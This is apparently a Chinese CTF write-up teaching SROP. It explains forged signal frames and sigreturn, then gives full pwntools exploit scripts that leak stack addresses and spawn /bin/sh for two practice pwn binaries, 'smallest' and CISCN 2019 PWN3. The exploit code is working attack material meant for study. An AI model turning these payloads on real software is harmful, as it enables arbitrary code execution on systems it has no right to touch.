SROP 通过在栈上伪造 Signal 帧并且触发 sigreturn 系统调用陷入内核态,在返回用户态恢复上下文时将攻击者伪造的 signal 帧数据写入所有的寄存器,从而控制程序执行流。
研究 SROP 花费了漫长时间,但是也算是从用户态触碰到了一点点内核态。一段伪造的用户栈的 signal 帧,欺骗了内核,让程序的执行流引向我们所希望的那样。
sigreturn 系统调用
在 /usr/include/asm/unistd_64.h 内定义了 sigreturn 的系统调用号:
1
|
#define __NR_rt_sigreturn 15
|
只要 rax = 15,并且调用 syscall 就陷入 sigreturn 系统调用。

真实的触发机制为:接收到 signal 信号后,内核会暂停该进程的运行,向其的用户栈压入 struct rt_sigframe 结构,该结构保存了进程的上下文,包括寄存器的状态。

当 signal 执行完成,Signal Handler 返回时候会调用 sigreturn 系统调用从 struct rt_sigframe 中恢复保存的上下文,pop 寄存器信息,恢复程序的执行。
问题就在于这个 struct rt_sigframe 是存在于用户栈中的,且在 handler 返回之后调用 sigreturn 调用,内核不会检查 rt_sigframe 是否真实就开始恢复,这就给了我们伪造一个 struct rt_sigframe 然后调用 sigreturn 劫持程序执行流。
2016-360春秋杯-srop
题目:来自 CTF Wiki 的 github 仓库。
分析
就一段汇编,很小。保护仅 NX。直接 objdump 看看得了:
1
2
3
4
5
6
7
|
00000000004000b0 <.text>:
4000b0: xor %rax,%rax
4000b3: mov $0x400,%edx
4000b8: mov %rsp,%rsi
4000bb: mov %rax,%rdi
4000be: syscall
4000c0: ret
|
实际就是执行:
1
|
sys_read(0, (char *)&retaddr, 0x400u);
|
从 stdin 写入大量数据到栈上。
可以栈溢出。
利用
如此简短的代码,肯定是几个 ROP 能用了。唯一算是 ROP 的就 syscall;ret; 吧。
这道题要用 SROP,构造几个 rt_sigframe 达到获得 shell 的目的。
好在,pwntools 已经有了 class SigreturnFrame() 可以构造 rt_sigframe 进行 srop 攻击。
通过 read 将读取的字符数写入 rax 这一特性来构造 rax = 15。
首先要泄漏栈地址,先往栈上写 3 次回调 start。第一次调用 read 写入 \xb3,跳过 xor eax, eax 使得 eax 保持为 1(这里 1 是因为上次写 \xb3 为一字节),这样就直接把 rsp 之后的内容都输出出来。
用 pwndbg 单步执行到 syscall SYS_read 位置,确认 [8:16] 保持的是环境变量,在栈上的地址,直接用这个拿来篡改 rsp。

1
2
3
4
5
6
7
8
9
10
11
12
|
syscall_ret = 0x4000BE
start_addr = 0x4000B0
payload = p64(start_addr) * 3
io.send(payload)
sleep(0.1)
io.send(b"\xb3")
leaked = io.recvn(0x400)
stack_addr = u64(leaked[8:16])
print("leak stack address :", hex(start_addr))
|
第三次回到 start,再构造一次返回 start,但是这一次后面补上 syscall;ret; 还有 rt_sigframe:
这里的 sigframe 不能直接用 execve,我们需要构造 /bin/sh ,只有栈上可以写,但是我们现在无法以寄存器的偏移量进行写入。栈地址我们获取到的不是确切的 rsp 地址,这里用一次 read,确定 rsi 作为下一次 execve 的 sigframe 地址,将 rsp 换到我们得到的 stack 地址,有点栈迁移的样子了。
1
2
3
4
5
6
7
8
9
10
|
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read # pyright: ignore[reportAttributeAccessIssue]
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + p64(syscall_ret) + bytes(sigframe)
io.send(payload)
|
程序接下来又回到 start,执行 read。rsp 指向我们之前放 syscall_ret 的位置,这个时候写 15 字节,重新覆盖 syscall,后面会触及 sigframe。不过 sigframe 头部为 rt_sigreturn() 问题不大。
1
2
|
sigreturn = p64(syscall_ret) + b"\x00" * 7
io.send(sigreturn)
|
接下来,ip 运行 syscall,开始执行 sigreturn 系统调用,将后面的 sigframe 保存的信息恢复过来,再次执行 read 函数,从 stdin 往 stack_addr 写入数据,此时 rsp 也换到了 stack_addr。
接下来构建 execve 的 sigframe,并且此时可以通过 stack_addr 偏移的方式得到 /bin/sh\x00 的地址。我们往远一点的地方写 /bin/sh\x00,因为 sigframe 比较大(248 字节),我们选择 stack_addr + 0x120 写入 shell。接下来构建栈帧:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve # pyright: ignore[reportAttributeAccessIssue]
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall_ret
frame_payload = p64(start_addr) + p64(syscall_ret) + bytes(sigframe)
print(len(frame_payload))
payload = frame_payload.ljust(0x120, b"\x00") + b"/bin/sh\x00"
io.send(payload)
sigreturn = p64(syscall_ret) + b"\x00" * 7
io.send(sigreturn)
|
这里构建的是
1
|
execve(shell_addr, 0, 0);
|
也还是和上一次一样,回到 start_addr 调用 read 写入 esp。因为前面的 esp 被篡改成 stack_addr 了,所以得以我们所愿。伴随 ip 指针的移动,陷入内核态,内核恢复寄存器,运行 execve 就拿到 shell 了。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
io = process("./smallest")
syscall_ret = 0x4000BE
start_addr = 0x4000B0
payload = p64(start_addr) * 3
io.send(payload)
sleep(0.1)
io.send(b"\xb3")
leaked = io.recvn(0x400)
stack_addr = u64(leaked[8:16])
print("leak stack address :", hex(start_addr))
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read # pyright: ignore[reportAttributeAccessIssue]
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + p64(syscall_ret) + bytes(sigframe)
io.send(payload)
io.send(p64(syscall_ret) + b"\x00" * 7)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve # pyright: ignore[reportAttributeAccessIssue]
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall_ret
frame_payload = p64(start_addr) + p64(syscall_ret) + bytes(sigframe)
print(len(frame_payload))
payload = frame_payload.ljust(0x120, b"\x00") + b"/bin/sh\x00"
io.send(payload)
io.send(p64(syscall_ret) + b"\x00" * 7)
io.interactive()
|
[CISCN 2019华南]PWN3
实际上,我看到 SROP 是在写这道题的时候,然后开始查阅资料,做 smallest_pwn。
整体上是和上一题差不多的。这里直接用栈地址偏移量写 shell 字符串。
保护:
1
2
3
4
5
6
7
|
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2019华南-PWN3/pwn3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
|
ida pro 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
return vuln();
}
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400u);
return sys_write(1u, buf, 0x30u);
}
|
这里有 write 可以直接读到栈地址。首先改写 ret address 回到 main 函数,在这里会有一次泄漏栈地址的机会,由此拿到栈地址:
1
2
3
4
5
6
7
8
9
|
main = 0x4004f1
syscall_ret = 0x400517
ret15 = 0x4004da
payload = b"a" * (0x10) + p64(main)
io.send(payload)
output = io.recv()
stack_addr = u64(output[32:38].ljust(8, b"\x00"))
print("stack address =", hex(stack_addr))
|
这里通过 pwndbg 调试拿到 buf 的地址。接下来构建 sigframe。我们将 /bin/sh 放到 buf 的位置。后面进行栈溢出执行 rt_sigreturn。
1
2
3
4
5
6
7
8
9
10
|
sigFrame = SigreturnFrame()
sigFrame.rax = constants.SYS_execve # pyright: ignore[reportAttributeAccessIssue]
sigFrame.rdi = stack_addr - 0x160
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall_ret
payload = b"/bin/sh\x00".ljust(0x10, b'\x00') + p64(ret15) + p64(syscall_ret) + bytes(sigFrame)
io.send(payload)
|
这里的 stack_addr - 0x160 是 pwndbg 动调得来的。
对输入前 gdb.attach,等输入后用 search 找到 /bin/sh 的地址:

这里计算:0x7fff362c4f08 - 0x7fff362c4da8 = 0x160 所以直接就 - 0x160 得来。但是 nssctf 远程是 0x110 ,很逆天。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
from pwn import *
context(os="linux", arch="amd64")
io = process("./pwn3")
#io = remote("node5.anna.nssctf.cn", 23312)
main = 0x4004f1
syscall_ret = 0x400517
ret15 = 0x4004da
payload = b"a" * (0x10) + p64(main)
io.send(payload)
output = io.recv()
stack_addr = u64(output[32:38].ljust(8, b"\x00"))
print("stack address =", hex(stack_addr))
sigFrame = SigreturnFrame()
sigFrame.rax = constants.SYS_execve # pyright: ignore[reportAttributeAccessIssue]
sigFrame.rdi = stack_addr - 0x160
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall_ret
payload = b"/bin/sh\x00".ljust(0x10, b'\x00') + p64(ret15) + p64(syscall_ret) + bytes(sigFrame)
gdb.attach(io)
io.send(payload)
io.interactive()
|
参考资料
- CTF Wiki-SROP
- Framing Signals—A Return to Portable Shellcode